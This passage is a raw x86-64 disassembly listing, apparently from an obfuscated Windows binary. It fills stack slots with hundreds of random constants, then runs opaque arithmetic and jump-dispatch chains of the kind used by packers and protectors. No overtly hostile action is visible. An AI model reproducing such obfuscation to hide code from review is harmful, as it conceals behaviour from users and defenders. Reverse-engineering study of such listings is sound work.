mov word [rbp + 0x39c4], 0x6f3
mov word [rbp + 0x39a0], 0xc6b
mov byte [rbp + 0x399b], 0xb4
mov byte [rbp + 0x3983], 0x21
mov dword [rbp + 0x3970], 0x440fbe97
mov word [rbp + 0x25024], 0x5483
mov byte [rbp + 0x25023], 0x62
movabs rax, 0x87f04baca7fdc05c
mov qword [rbp + 0x25018], rax
mov word [rbp + 0x38d0], 0x67ac
mov dword [rbp + 0x3788], 0x317c92f2
movabs rax, 0x2cf6851d556d4ac6
mov qword [rbp + 0x25010], rax
mov byte [rbp + 0x372f], 0xaa
mov byte [rbp + 0x372b], 0x2e
mov word [rbp + 0x2500e], 0x66
movabs rax, 0x10243d4763bed884
mov qword [rbp + 0x25000], rax
mov byte [rbp + 0x24fff], 0x39
mov dword [rbp + 0x36dc], 0x39161a9b
mov dword [rbp + 0x24ff8], 0x52cac095
mov byte [rbp + 0x36cb], 0x63
mov dword [rbp + 0x36c4], 0x58334df9
mov byte [rbp + 0x24ff7], 0x60
mov dword [rbp + 0x36a8], 0xcf168ed7
movabs rax, 0x6a5c92f789c81770
mov qword [rbp + 0x24fe8], rax
movabs rax, 0xc95964a7d94c9d20
mov qword [rbp + 0x3620], rax
mov dword [rbp + 0x3610], 0x4f9411de
mov word [rbp + 0x3606], 0xb56
mov dword [rbp + 0x35f8], 0x724d8e0e
mov dword [rbp + 0x24fe4], 0x75228701
mov word [rbp + 0x35be], 0x37b1
mov byte [rbp + 0x24fe3], 0xde
mov byte [rbp + 0x24fe2], 0xa1
mov dword [rbp + 0x24fdc], 0x5652a365
mov byte [rbp + 0x24fdb], 0x74
mov dword [rbp + 0x3554], 0x724e1c64
mov word [rbp + 0x24fd8], 0xaca
mov dword [rbp + 0x34bc], 0xb1add6fb
mov byte [rbp + 0x34bb], 0x45
movabs rax, 0x66b156bbac2a3e87
mov qword [rbp + 0x34a8], rax
mov word [rbp + 0x24fd6], 0x7786
mov byte [rbp + 0x3473], 0x7b
mov dword [rbp + 0x24fd0], 0xfd61f7b7
mov byte [rbp + 0x3413], 0xdc
movabs rax, 0x70bf92b618741f1c
mov qword [rbp + 0x33f8], rax
mov byte [rbp + 0x330b], 0x10
mov word [rbp + 0x32fa], 0xf35
movabs rax, 0xf09c51686f75e
mov qword [rbp + 0x24fc8], rax
mov word [rbp + 0x24fc6], 0xa7f
mov dword [rbp + 0x24fc0], 0xf25161b
mov word [rbp + 0x327a], 0x488a
mov byte [rbp + 0x24fbf], 0x83
mov byte [rbp + 0x24fbe], 0xd7
mov byte [rbp + 0x24fbd], 0x8c
movabs rax, 0x2c1aed4bdfd8dab8
mov qword [rbp + 0x24fb0], rax
mov byte [rbp + 0x24faf], 0x59
mov word [rbp + 0x3234], 0x54d
mov word [rbp + 0x3226], 0x7e66
mov byte [rbp + 0x3215], 0x5c
mov dword [rbp + 0x24fa8], 0x202c8627
mov byte [rbp + 0x31cf], 0xd
mov dword [rbp + 0x24fa4], 0x47b61c62
mov word [rbp + 0x24fa2], 0x20f2
mov byte [rbp + 0x31ab], 0x6f
movabs rax, 0x16009deb1febe5f
mov qword [rbp + 0x3188], rax
movabs rax, 0x8335122abbc5fa45
mov qword [rbp + 0x3178], rax
movabs rax, 0x55f911aad8ce9115
mov qword [rbp + 0x24f98], rax
mov byte [rbp + 0x24f97], 0xf9
mov byte [rbp + 0x24f96], 4
mov byte [rbp + 0x24f95], 0x2b
mov byte [rbp + 0x30cf], 0xc8
mov word [rbp + 0x24f92], 0x2ba3
mov dword [rbp + 0x30bc], 0x27ec3859
mov dword [rbp + 0x300c], 0x296bbe8f
movabs rax, 0x602d8c96b52a7b57
mov qword [rbp + 0x3000], rax
movabs rax, 0x7e8df253dff93288
mov qword [rbp + 0x2fe0], rax
mov byte [rbp + 0x2fdf], 0x5d
mov word [rbp + 0x2fd8], 0x1c30
movabs rax, 0x3bb141b616782a90
mov qword [rbp + 0x24f88], rax
mov byte [rbp + 0x2fb6], 0x16
mov word [rbp + 0x2fa6], 0xf6a
mov dword [rbp + 0x2f94], 0x420bcaaf
movabs rax, 0xb033c358ba9b52f
mov qword [rbp + 0x2f30], rax
movabs rax, 0x41ad4ed256c4d8e3
mov qword [rbp + 0x2e80], rax
mov byte [rbp + 0x2d85], 0xb
mov dword [rbp + 0x24f84], 0x5f6db473
mov word [rbp + 0x2d68], 0xe40
mov byte [rbp + 0x2d66], 0x19
mov word [rbp + 0x2d36], 0x1ae
mov word [rbp + 0x2d24], 0xdbe
mov byte [rbp + 0x2d07], 0x28
mov dword [rbp + 0x24f80], 0xa8b53569
movabs rax, 0x4226597f571f94a5
mov qword [rbp + 0x24f78], rax
mov word [rbp + 0x24f76], 0x564
movabs rax, 0x51d2c2291482b6d9
mov qword [rbp + 0x2c10], rax
mov byte [rbp + 0x2bf3], 0xdc
mov word [rbp + 0x24f74], 0x60b1
mov byte [rbp + 0x24f73], 4
mov byte [rbp + 0x2bb5], 0x97
movabs rax, 0x43ab2c97a1ba9d2a
mov qword [rbp + 0x24f68], rax
movabs rax, 0x166e78035caff4f1
mov qword [rbp + 0x2ba8], rax
movabs rax, 0x866e45605592f56d
mov qword [rbp + 0x2b88], rax
mov dword [rbp + 0x24f64], 0x68ce5aad
mov dword [rbp + 0x2b50], 0x16861a10
mov byte [rbp + 0x2b4f], 0x33
mov word [rbp + 0x2b26], 0x182
mov word [rbp + 0x24f62], 0x90c
mov word [rbp + 0x24f60], 0x1da7
movabs rax, 0x5466d0b036cff783
mov qword [rbp + 0x2aa8], rax
mov dword [rbp + 0x2a30], 0x3e7ae12d
mov dword [rbp + 0x24f5c], 0x3b4d4b14
mov byte [rbp + 0x24f5b], 0x6a
mov word [rbp + 0x24f58], 0xb44
mov word [rbp + 0x24f56], 0x8d0
movabs rax, 0x54a4f96ec93c2bb4
mov qword [rbp + 0x2940], rax
movabs rax, 0x50c0e583bb5e4d60
mov qword [rbp + 0x24f48], rax
mov dword [rbp + 0x290c], 0x48ee3065
mov dword [rbp + 0x24f44], 0x4b6b95b6
mov byte [rbp + 0x28a9], 0x45
mov dword [rbp + 0x2890], 0x259e4d83
movabs rax, 0x7d7dfe768c69f9b5
mov qword [rbp + 0x2880], rax
movabs rax, 0xe1c41bcf3968ec63
mov qword [rbp + 0x2870], rax
movabs rax, 0xc80cdea3a305302
mov qword [rbp + 0x24f38], rax
mov byte [rbp + 0x2817], 0x78
mov dword [rbp + 0x24f34], 0xf8220001
movabs rax, 0x52bd292e1b1581c7
mov qword [rbp + 0x24f28], rax
mov byte [rbp + 0x27ff], 0x44
mov word [rbp + 0x24f26], 0x6a21
mov byte [rbp + 0x27fd], 0x75
mov dword [rbp + 0x24f20], 0x440187
mov word [rbp + 0x24f1e], 0x45a3
mov word [rbp + 0x27dc], 0x5a
mov word [rbp + 0x24f1c], 0x3854
movabs rax, 0x11f6e3af6eb412ba
mov qword [rbp + 0x27a8], rax
movabs rax, 0x40cc1826dcb315bc
mov qword [rbp + 0x24f10], rax
movabs rax, 0x51fb67cec2d57ae7
mov qword [rbp + 0x2790], rax
movabs rax, 0x29ea275271688650
mov qword [rbp + 0x2780], rax
movabs rax, 0x62e7e3ead25bcee9
mov qword [rbp + 0x2778], rax
movabs rax, 0x3123383f4d03f5f3
mov qword [rbp + 0x2768], rax
mov byte [rbp + 0x2724], 0xe7
movabs rax, 0x6bcf1e465ecfcb4b
mov qword [rbp + 0x2708], rax
movabs rax, 0x6b94c0be3c73d50d
mov qword [rbp + 0x26e8], rax
mov dword [rbp + 0x26d8], 0x68cfe146
mov byte [rbp + 0x26d7], 0x6a
mov byte [rbp + 0x24f0f], 0x61
mov word [rbp + 0x2456], 0xa3a
mov word [rbp + 0x23ea], 0x1a43
movabs rax, 0x7a7aeff7985eb4e5
mov qword [rbp + 0x24f00], rax
movabs rax, 0x4215918c9dad355d
mov qword [rbp + 0x24ef8], rax
mov byte [rbp + 0x24ef7], 0x97
movabs rax, 0xca3f14f39fd76ca6
mov qword [rbp + 0x2358], rax
mov dword [rbp + 0x2330], 0x5017bb4a
mov word [rbp + 0x24ef4], 0x44f6
mov byte [rbp + 0x24ef3], 0x62
mov dword [rbp + 0x24eec], 0x10976ecb
mov byte [rbp + 0x24eeb], 0x2f
mov word [rbp + 0x24ee8], 0xdd6
mov word [rbp + 0x22d6], 0xa75
mov word [rbp + 0x24ee6], 0x1c95
mov word [rbp + 0x2262], 0x4a1f
mov dword [rbp + 0x225c], 0x7989a79d
movabs rax, 0x1f6941f339984f2d
mov qword [rbp + 0x2250], rax
mov dword [rbp + 0x223c], 0x5924995b
mov dword [rbp + 0x24ee0], 0x7fa8c317
mov dword [rbp + 0x24edc], 0x45068225
movabs rax, 0x8eec3e581a5889f0
mov qword [rbp + 0x21e8], rax
movabs rax, 0x8e4bc74884daaf7a
mov qword [rbp + 0x24ed0], rax
movabs rax, 0x6c53bb74caf023a7
mov qword [rbp + 0x24ec8], rax
mov word [rbp + 0x24ec6], 0x1cb
movabs rax, 0x3ac4cc1d005555fc
mov qword [rbp + 0x2190], rax
mov byte [rbp + 0x24ec5], 0x6f
mov word [rbp + 0x24ec2], 0xfe0
mov byte [rbp + 0x24ec1], 0x60
mov byte [rbp + 0x24ec0], 0x32
mov word [rbp + 0x24ebe], 0x5973
movabs rax, 0x21ce556393358a75
mov qword [rbp + 0x20b0], rax
mov dword [rbp + 0x24eb8], 0x95d05b5f
mov byte [rbp + 0x24eb7], 0x2b
mov word [rbp + 0x1ffe], 0x7427
mov byte [rbp + 0x1fcf], 0xb4
movabs rax, 0x5494fb19009956bc
mov qword [rbp + 0x1fc0], rax
mov byte [rbp + 0x1f7f], 0x25
movabs rax, 0x94034e49e54fc0a0
mov qword [rbp + 0x1f38], rax
mov byte [rbp + 0x1f37], 0x89
mov word [rbp + 0x1f34], 0x34a3
mov byte [rbp + 0x24eb6], 0xf8
mov word [rbp + 0x1f16], 0x5ec2
mov word [rbp + 0x1f0c], 0x1f8
movabs rax, 0xe15f6e03e86bd381
mov qword [rbp + 0x24ea8], rax
mov byte [rbp + 0x24ea7], 0xcf
mov dword [rbp + 0x1ee0], 0x5f2325f8
mov dword [rbp + 0x1edc], 0x2d265e4b
mov word [rbp + 0x1e3c], 0xf1
mov word [rbp + 0x24ea4], 0x4ae
mov dword [rbp + 0x24ea0], 0x269c4d8c
mov dword [rbp + 0x24e9c], 0x25f91e9
mov word [rbp + 0x1dd6], 0x5ef
mov byte [rbp + 0x24e9b], 0x54
mov word [rbp + 0x24e98], 0x829
mov word [rbp + 0x1dcc], 0x78d
movabs rax, 0x2651d96b739e9b16
mov qword [rbp + 0x24e90], rax
movabs rax, 0xd4ff24e30e21c99
mov qword [rbp + 0x24e88], rax
movabs rax, 0x707d1201e34051d4
mov qword [rbp + 0x1da8], rax
mov word [rbp + 0x1d98], 0x3d7
mov word [rbp + 0x1d96], 0x322
mov word [rbp + 0x1d86], 0x254
mov dword [rbp + 0x1d64], 0xd15a07f
mov byte [rbp + 0x24e87], 0xa2
mov dword [rbp + 0x1cd0], 0x5191f1e3
movabs rax, 0xae3ec19595f53ec8
mov qword [rbp + 0x1ca8], rax
mov word [rbp + 0x24e84], 0x57e
mov dword [rbp + 0x1c68], 0x80d11239
mov byte [rbp + 0x24e83], 0xaa
mov byte [rbp + 0x24e82], 0xbe
mov word [rbp + 0x24e80], 0xf46
movabs rax, 0x2ccd2ca17cb4c9cb
mov qword [rbp + 0x24e78], rax
mov dword [rbp + 0x1c30], 0x6be058a8
movabs rax, 0x3fcfb614dccad5c9
mov qword [rbp + 0x1c20], rax
movabs rax, 0x384b7e7200b7bd7c
mov qword [rbp + 0x24e70], rax
mov byte [rbp + 0x24e6f], 0x37
mov word [rbp + 0x1c02], 0x912
mov word [rbp + 0x1c00], 0x2e94
movabs rax, 0x45a2ae622ecfca19
mov qword [rbp + 0x24e60], rax
mov dword [rbp + 0x1bf0], 0x22098549
movabs rax, 0x140ea93ddfd41dff
mov qword [rbp + 0x1bd0], rax
movabs rax, 0x2c7dd6db562d8e52
mov qword [rbp + 0x1b90], rax
mov byte [rbp + 0x24e5f], 0xd6
mov byte [rbp + 0x24e5e], 0xc
mov byte [rbp + 0x1b6b], 0xa8
movabs rax, 0x55058706cda8a77a
mov qword [rbp + 0x1b58], rax
mov dword [rbp + 0x1b44], 0xd834d7a
mov word [rbp + 0x1b42], 0x181
movabs rax, 0xfc634508c869cc35
mov qword [rbp + 0x1ad0], rax
mov byte [rbp + 0x1aad], 0x2b
movabs rax, 0x1035c2887a5dce2a
mov qword [rbp + 0x1aa0], rax
movabs rax, 0x71386bd50c19fea6
mov qword [rbp + 0x1a90], rax
mov word [rbp + 0x1a5a], 0x547e
mov dword [rbp + 0x1a50], 0x6f337eac
movabs rax, 0x6908f2e50f371795
mov qword [rbp + 0x24e50], rax
mov dword [rbp + 0x1a3c], 0x7283ea3f
mov byte [rbp + 0x1a33], 0xd7
mov byte [rbp + 0x24e4f], 0x76
mov dword [rbp + 0x24e48], 0x28032217
movabs rax, 0x5ab06e880eda6355
mov qword [rbp + 0x24e40], rax
mov byte [rbp + 0x1a13], 3
mov word [rbp + 0x24e3e], 0x693
mov word [rbp + 0x19ce], 0xfe1
mov word [rbp + 0x24e3c], 0xc95
mov word [rbp + 0x1998], 0x1be
movabs rax, 0x5b50fb4ae6d88eca
mov qword [rbp + 0x24e30], rax
mov byte [rbp + 0x1995], 0xaf
movabs rax, 0x40e22a596904600f
mov qword [rbp + 0x1970], rax
mov word [rbp + 0x1946], 0xc9e
movabs rax, 0x3c003069ab9cf0bf
mov qword [rbp + 0x24e28], rax
mov word [rbp + 0x24e26], 0x3ff
movabs rax, 0x3b2ba8773e8c98d1
mov qword [rbp + 0x1900], rax
mov word [rbp + 0x24e24], 0xdbf
mov byte [rbp + 0x24e23], 0x2e
mov byte [rbp + 0x18d4], 0x3d
mov word [rbp + 0x18ca], 0x38a
mov byte [rbp + 0x18ba], 0x63
movabs rax, 0x4c76d25d28e54ce6
mov qword [rbp + 0x18a0], rax
mov word [rbp + 0x186c], 0xf5d
mov dword [rbp + 0x24e1c], 0xb9eaa128
mov word [rbp + 0x1854], 0xbbc
mov byte [rbp + 0x1851], 0xb
movabs rax, 0xc82120e9f0618e8
mov qword [rbp + 0x1840], rax
mov byte [rbp + 0x24e1b], 0x30
mov word [rbp + 0x180e], 0x7a7
mov dword [rbp + 0x24e14], 0x363a30f0
movabs rax, 0x28f7cc0efccc87f2
mov qword [rbp + 0x24e08], rax
mov word [rbp + 0x24e06], 0x5ed
mov byte [rbp + 0x24e05], 9
mov byte [rbp + 0x179f], 0xbe
mov word [rbp + 0x24e02], 0x4260
mov byte [rbp + 0x1733], 0x31
mov dword [rbp + 0x24dfc], 0xeff30dfd
mov word [rbp + 0x24dfa], 0x75ec
mov byte [rbp + 0x24df9], 5
movabs rax, 0xf419b34b6a456758
mov qword [rbp + 0x24df0], rax
mov word [rbp + 0x24dee], 0xa8c
movabs rax, 0x79db9b322e672ab
mov qword [rbp + 0x24de0], rax
mov word [rbp + 0x16a8], 0x1b8
mov word [rbp + 0x16a0], 0x7e22
mov dword [rbp + 0x24ddc], 0x5eb12ad8
mov word [rbp + 0x24dda], 0x7bec
mov word [rbp + 0x169e], 0xc5a
movabs rax, 0x6a4d620e6a41b7d3
mov qword [rbp + 0x1690], rax
mov dword [rbp + 0x24dd4], 0xefecc143
mov word [rbp + 0x24dd2], 0x1fd
mov word [rbp + 0x24dd0], 0x5c69
movabs rax, 0x26a8292b94f24995
mov qword [rbp + 0x24dc8], rax
mov byte [rbp + 0x15e7], 0x9c
mov byte [rbp + 0x15e6], 0x5e
mov dword [rbp + 0x15c4], 0x567ed93e
movabs rax, 0x6c2e5929aae0ea3
mov qword [rbp + 0x24dc0], rax
movabs rax, 0x6aa586ccd3c1e514
mov qword [rbp + 0x24db8], rax
movabs rax, 0x4c0bfd33ec15c93b
mov qword [rbp + 0x24db0], rax
movabs rax, 0x3639b99351dc5f0e
mov qword [rbp + 0x24da8], rax
mov word [rbp + 0x24da6], 0x8b7
mov dword [rbp + 0x24da0], 0x8a214640
mov dword [rbp + 0x1564], 0xe96b4e31
mov word [rbp + 0x1526], 0x137
movabs rax, 0x7a53c33f91e455b6
mov qword [rbp + 0x1508], rax
movabs rax, 0x82deb87267f80906
mov qword [rbp + 0x24d98], rax
mov byte [rbp + 0x14b9], 0x73
mov byte [rbp + 0x14b3], 0x4b
mov word [rbp + 0x24d96], 0xe90
movabs rax, 0xa165936ab6082f31
mov qword [rbp + 0x24d88], rax
mov byte [rbp + 0x143b], 0x8f
mov word [rbp + 0x24d86], 0x2ee8
movabs rax, 0x485ce77e1de9fc79
mov qword [rbp + 0x1420], rax
movabs rax, 0x42ecc3207a29d0c5
mov qword [rbp + 0x24d78], rax
mov word [rbp + 0x13e6], 0x13d
mov dword [rbp + 0x24d74], 0x60942a96
movabs rax, 0x36e3268a609a416a
mov qword [rbp + 0x13b8], rax
mov word [rbp + 0x13b4], 0x7f4
mov word [rbp + 0x13b2], 0x18cf
mov byte [rbp + 0x24d73], 0x3c
mov word [rbp + 0x24d70], 0xb36
movabs rax, 0x4b745daf6192f2a1
mov qword [rbp + 0x1338], rax
movabs rax, 0x19d85e5c37ec6532
mov qword [rbp + 0x24d68], rax
mov dword [rbp + 0x11e8], 0xd8c0946b
mov dword [rbp + 0x11e4], 0x44f386d
mov dword [rbp + 0x24d64], 0x704cc7b3
mov byte [rbp + 0x11b7], 0xd2
mov byte [rbp + 0x118e], 0xf2
mov word [rbp + 0x116a], 0x6abe
mov word [rbp + 0x24d62], 0x509
mov byte [rbp + 0x110f], 8
movabs rax, 0x2a85e16ea3978c61
mov qword [rbp + 0x10e8], rax
movabs rax, 0xd28efb7294fd104
mov qword [rbp + 0x10c0], rax
mov byte [rbp + 0x24d61], 0x6f
movabs rax, 0x14ea68d19f0865a3
mov qword [rbp + 0x24d58], rax
mov word [rbp + 0x24d56], 0x346
mov word [rbp + 0x102c], 0x3a3
mov word [rbp + 0xfee], 0xeb4
mov dword [rbp + 0xfdc], 0xbef52d70
mov dword [rbp + 0x24d50], 0xa555795e
mov dword [rbp + 0x24d4c], 0xb88b95ef
mov word [rbp + 0xfc6], 0x3ce7
mov dword [rbp + 0xf74], 0x2a9ab0da
mov dword [rbp + 0x24d48], 0x705f7a84
mov word [rbp + 0xf3e], 0x6f7c
mov byte [rbp + 0xf37], 0x97
mov dword [rbp + 0xf04], 0xfe645ca2
mov dword [rbp + 0x24d44], 0x7a819f4a
mov word [rbp + 0xeea], 0xfc4
movabs rax, 0x4f0b60fe6c7c6499
mov qword [rbp + 0x24d38], rax
mov dword [rbp + 0xebc], 0x1726eb4
mov dword [rbp + 0x24d34], 0x1fa410a0
movabs rax, 0x44c5d9a1cd9b2b10
mov qword [rbp + 0xe60], rax
mov word [rbp + 0xe2a], 0x6f74
mov word [rbp + 0x24d32], 0x2d9f
mov word [rbp + 0xdfe], 0x6ded
mov dword [rbp + 0x24d2c], 0x64773212
mov word [rbp + 0x24d2a], 0x1b8e
mov word [rbp + 0x24d28], 0xa13
mov word [rbp + 0xd76], 0x3d18
movabs rax, 0xf282b9890f49eaa3
mov qword [rbp + 0xd60], rax
mov byte [rbp + 0xd0d], 0x64
mov byte [rbp + 0xd0b], 0xa0
mov byte [rbp + 0x24d27], pe_nt_image_headers64
mov word [rbp + 0xcdc], 0xf17
movabs rax, 0x2be30e74698a0707
mov qword [rbp + 0xcd0], rax
movabs rax, 0x502d41b740945680
mov qword [rbp + 0x24d18], rax
movabs rax, 0x6f5f022d69c3aceb
mov qword [rbp + 0xcb8], rax
mov dword [rbp + 0xcac], 0x2c91b573
mov dword [rbp + 0xc98], 0x9ea51c4
mov word [rbp + 0x24d16], 0x1f1c
mov word [rbp + 0xc40], 0x9a
mov word [rbp + 0x24d14], 0x7eb
mov dword [rbp + 0x24d10], 0x24ba48e4
movabs rax, 0x7fb6e50c9c73dcb2
mov qword [rbp + 0xc20], rax
mov dword [rbp + 0xc04], 0xa9a01eb7
mov dword [rbp + 0x24d0c], 0x6b5721c0
mov dword [rbp + 0x24d08], 0x39cc1288
mov word [rbp + 0xc00], 0x5dd
mov dword [rbp + 0xbf0], 0x1f3be0c9
mov byte [rbp + 0x24d07], 0x2b
mov dword [rbp + 0xb74], 0x902bab8
movabs rax, 0xd768d20e9f12105
mov qword [rbp + 0xb18], rax
mov byte [rbp + 0xb17], 5
mov dword [rbp + 0xafc], 0x1b824902
mov word [rbp + 0xaea], 0x46fc
mov byte [rbp + 0xad3], 4
mov word [rbp + 0x24d04], 0xc5a
mov byte [rbp + 0x24d03], 0x2f
mov byte [rbp + 0x24d02], 0xd8
mov dword [rbp + 0xaa0], 0x10997070
mov word [rbp + 0xa9e], 0x14d
mov dword [rbp + 0xa6c], 0x6bd93ac
mov byte [rbp + 0xa3f], 0xbb
movabs rax, 0x6fee87adc6291fd3
mov qword [rbp + 0x24cf8], rax
mov dword [rbp + 0x9cc], 0x8cf97618
movabs rax, 0x131b4b19433b67f6
mov qword [rbp + 0x24cf0], rax
mov byte [rbp + 0x24cef], 0xc4
mov word [rbp + 0x906], 0x66b9
mov byte [rbp + 0x24cee], 0x29
movabs rax, 0xb4511e922e6873a2
mov qword [rbp + 0x24ce0], rax
mov word [rbp + 0x8c8], 0x7c36
mov dword [rbp + 0x8a4], 0x66d6a335
mov dword [rbp + 0x8a0], 0x7fdea6c8
movabs rax, 0x75ed1fd38420d78b
mov qword [rbp + 0x818], rax
mov dword [rbp + 0x24cdc], 0xc8c000b7
mov byte [rbp + 0x24cdb], 0xf5
mov dword [rbp + 0x7fc], 0x1fa13eac
movabs rax, 0xdcfc1a4e7171b60f
mov qword [rbp + 0x7f0], rax
mov word [rbp + 0x7de], 0x1b7
mov byte [rbp + 0x24cda], 0x8d
mov word [rbp + 0x724], 0xc0f
mov dword [rbp + 0x24cd4], 0x20a05670
mov byte [rbp + 0x24cd3], 0x19
movabs rax, 0x743e8554956b6ccd
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x6f0], 0x445b697a
mov word [rbp + 0x6d2], 0x5355
movabs rax, 0x179ff524a136cd7f
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x24ccc], 0xb57eb6d0
mov dword [rbp + 0x24cc8], 0x71bea1dd
movabs rax, 0x45d53edfff47c164
mov qword [rbp + 0x24cc0], rax
mov word [rbp + 0x638], 0x4071
mov byte [rbp + 0x24cbf], 0x17
movabs rax, 0xc35d086b880ae681
mov qword [rbp + 0x5e8], rax
movabs rax, 0x6cd4b0de0c32e73c
mov qword [rbp + 0x5a0], rax
mov byte [rbp + 0x24cbe], 0x72
mov word [rbp + 0x24cbc], 0x4cc
mov word [rbp + 0x24cba], 0x946
mov byte [rbp + 0x52f], 0x30
mov byte [rbp + 0x51f], 0xe4
mov word [rbp + 0x4b0], 0x8d5
mov byte [rbp + 0x24cb9], 0xe7
movabs rax, 0x3d5d9b956cc961ec
mov qword [rbp + 0x4a0], rax
mov byte [rbp + 0x24cb8], 0x88
movabs rax, 0x73c346a190152e81
mov qword [rbp + 0x24cb0], rax
mov byte [rbp + 0x24caf], 0x6c
mov word [rbp + 0x24cac], 0xe46
movabs rax, 0x130c963588595358
mov qword [rbp + 0x408], rax
mov dword [rbp + 0x24ca8], 0x550646d3
mov word [rbp + 0x24ca6], 0x2afb
movabs rax, 0x1b8be313a30c483a
mov qword [rbp + 0x3d8], rax
movabs rax, 0x6a72ba8319e6dcce
mov qword [rbp + 0x3b8], rax
mov word [rbp + 0x24ca4], 0x26df
mov word [rbp + 0x24ca2], 0x5cd0
mov dword [rbp + 0x37c], 0x7491a34c
movabs rax, 0x49faa62f09741435
mov qword [rbp + 0x24c98], rax
mov word [rbp + 0x21a], 0x6c4
mov word [rbp + 0x1e2], 0x3dd7
mov dword [rbp + 0x1d4], 0x80f77bcc
movabs rax, 0x1fc74f2d62d10e40
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x1a4], 0xdf571129
mov dword [rbp + 0x24c94], 0x9f7419ea
mov byte [rbp + 0x24c93], 0x24
mov dword [rbp + 0x164], 0x3ce5f375
mov dword [rbp + 0x24c8c], 0xbd2d48e5
mov dword [rbp + 0x4b38], 0x3e05450d
mov dword [rbp + 0x25660], 0xd044
mov eax, dword [rbp + 0x66d0]
sub eax, 0x1d92fe40
mov dword [rbp + 0x66d0], eax
mov dword [rbp + 0x2564c], 0x9b10
mov dword [rbp + 0x254ac], 0x6382
jmp 0x140004b5d
mov eax, dword [rbp + 0x66d0]
add eax, 0x331bab1f
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
and eax, 0xed140bf9
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
shr eax, 2
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
shl eax, 3
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
or eax, 0x7913a246
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
xor eax, 0x39f12def
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x5c6fd89d
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x72666e88
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
and eax, 0x14af5911
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x16ba12a4
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x580b5e76
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x17cc5d7f
mov dword [rbp + 0x66d0], eax
add dword [rbp + 0x254ac], 0x94
mov eax, dword [rbp + 0x66d0]
add eax, 0x679d6db3
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
shl eax, 9
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
shr eax, 5
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
or eax, 0x13dc8e1b
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
xor eax, 0x62173591
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
and eax, 0x2cfd3e15
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x471504d3
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0x1259ede4
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x5ffc7749
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x4f02ed8b
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x5c8071e8
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x2d3ee799
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x7ee0fbc4
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x6a5929e9
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x3cd4904f
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
shl eax, 9
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
or eax, 0x3da78393
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
xor eax, 0x944b65ee
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
shr eax, 0x1d
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x6f374b17
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x42b39745
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x2e51c3e5
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x63111d2a
mov dword [rbp + 0x66d0], eax
cmp dword [rbp + 0x254ac], 0x8c8e
jne 0x14000490c
mov eax, dword [rbp + 0x4b38]
cmp eax, 0x20030000
je 0x140004d36
cmp eax, 0x22509dad
je 0x14015b016
jmp 0x14015b03d
mov eax, dword [rbp + 0x66d0]
and eax, 0x68bf1993
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x29d58024
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
sub eax, 0x7e9d1634
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
add eax, 0x58cc450a
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
xor eax, 0x3ae76fea
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
or eax, 0x3c09b144
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
shl eax, 6
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
sar eax, 0x1d
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x79144506
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x7077f257
mov dword [rbp + 0x4b38], eax
sub dword [rbp + 0x2564c], 0x69
mov eax, dword [rbp + 0x66d0]
sub eax, 0x535bc585
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x133bd5b5
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
add eax, 0x24f0cb28
